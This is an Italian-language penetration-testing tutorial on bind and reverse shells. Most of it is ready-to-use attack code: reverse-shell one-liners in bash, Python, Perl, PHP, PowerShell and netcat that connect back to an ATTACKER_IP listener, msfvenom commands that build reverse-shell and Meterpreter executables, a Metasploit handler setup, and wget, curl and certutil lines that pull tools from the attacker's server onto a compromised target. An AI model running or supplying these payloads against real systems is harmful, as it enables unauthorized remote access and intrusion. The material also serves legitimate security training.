Reverse Shell e Bind Shell: ottenere accesso remoto
Introduzione
Hai trovato una vulnerabilità che ti permette di eseguire comandi su un server remoto, una RCE (Remote Code Execution). Ottimo. Ma come trasformi questo in una sessione interattiva che puoi usare comodamente?
La risposta sono le shell remote: meccanismi per ottenere una riga di comando su un sistema remoto. Le due varianti principali sono la bind shell e la reverse shell.
Bind Shell vs Reverse Shell
Bind Shell
Il target apre una porta in ascolto. L’attaccante si connette a quella porta.
[Attaccante] ──── CONNECT ──→ [Target:porta_x] → shell
Problema: i firewall bloccano le connessioni in ingresso verso porte insolite. La bind shell funziona raramente in ambienti reali.
Reverse Shell
Il target si connette all’attaccante. L’attaccante ascolta in attesa della connessione.
[Attaccante:porta_x] ←── CONNECT ── [Target]
Vantaggio: i firewall di solito permettono il traffico in uscita. La reverse shell funziona anche in reti con firewall restrittivi.
La reverse shell è il metodo standard nei pentest moderni.
Setup dell’attaccante: mettersi in ascolto
Prima di lanciare qualsiasi payload sul target, devi essere in ascolto.
Netcat (nc)
nc -lvnp 4444
# -l → listen mode
# -v → verbose
# -n → no DNS lookup
# -p → porta
Rlwrap (migliora l’esperienza)
La shell ricevuta via netcat è primitiva, niente frecce, niente tab, niente CTRL+C senza perdere la sessione.
rlwrap nc -lvnp 4444
Metasploit multi/handler
Per ricevere shell Meterpreter o shell avanzate:
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST TUO_IP
set LPORT 4444
run
Payload per reverse shell
Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP (utile dopo RCE su web server)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Netcat (se disponibile sul target)
nc -e /bin/sh ATTACKER_IP 4444
# Versioni vecchie di nc (-e non sempre disponibile)
# Alternativa senza -e
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
RevShells.com
Non devi memorizzare tutti questi payload. Il sito revshells.com genera automaticamente il payload giusto per il sistema e il linguaggio che ti serve, basta inserire IP e porta.
msfvenom: creare payload compilati
Per sistemi dove non puoi eseguire comandi shell direttamente, crei un eseguibile:
# Eseguibile Windows (.exe)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
# Script PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php
# Script Python
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.py
# Payload Meterpreter (più potente della shell classica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o met.exe
Upgrade della shell: da dumb shell a TTY
La shell ricevuta è spesso una “dumb shell”, niente tab completion, niente editor, CTRL+C termina tutto.
# Step 1: spawn di una pseudo-TTY con Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: background della shell con CTRL+Z
# Step 3: nella tua macchina
stty raw -echo; fg
# Step 4: di nuovo nella shell remota
export TERM=xterm
stty rows 40 cols 200 # adatta alle dimensioni del tuo terminale
Ora hai una shell completamente interattiva.
Trasferire file sul target
Una volta dentro, spesso hai bisogno di caricare tool (LinPEAS, Chisel, ecc.).
# Avvia server HTTP sulla tua macchina
python3 -m http.server 8080
# Sul target Linux
wget http://ATTACKER_IP:8080/tool.sh
curl -o tool.sh http://ATTACKER_IP:8080/tool.sh
# Sul target Windows (PowerShell)
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/tool.exe" -OutFile "C:\temp\tool.exe"
certutil -urlcache -split -f "http://ATTACKER_IP:8080/tool.exe" tool.exe
Conclusione
Le reverse shell sono il pane quotidiano del penetration tester. Impara a memoria almeno il payload bash e quello PowerShell, e tieni a portata di mano revshells.com per il resto.
La parte più importante è il setup del listener prima di lanciare il payload, quante volte si vede un principiante che lancia il payload e poi si chiede perché non funziona senza aver avviato il listener…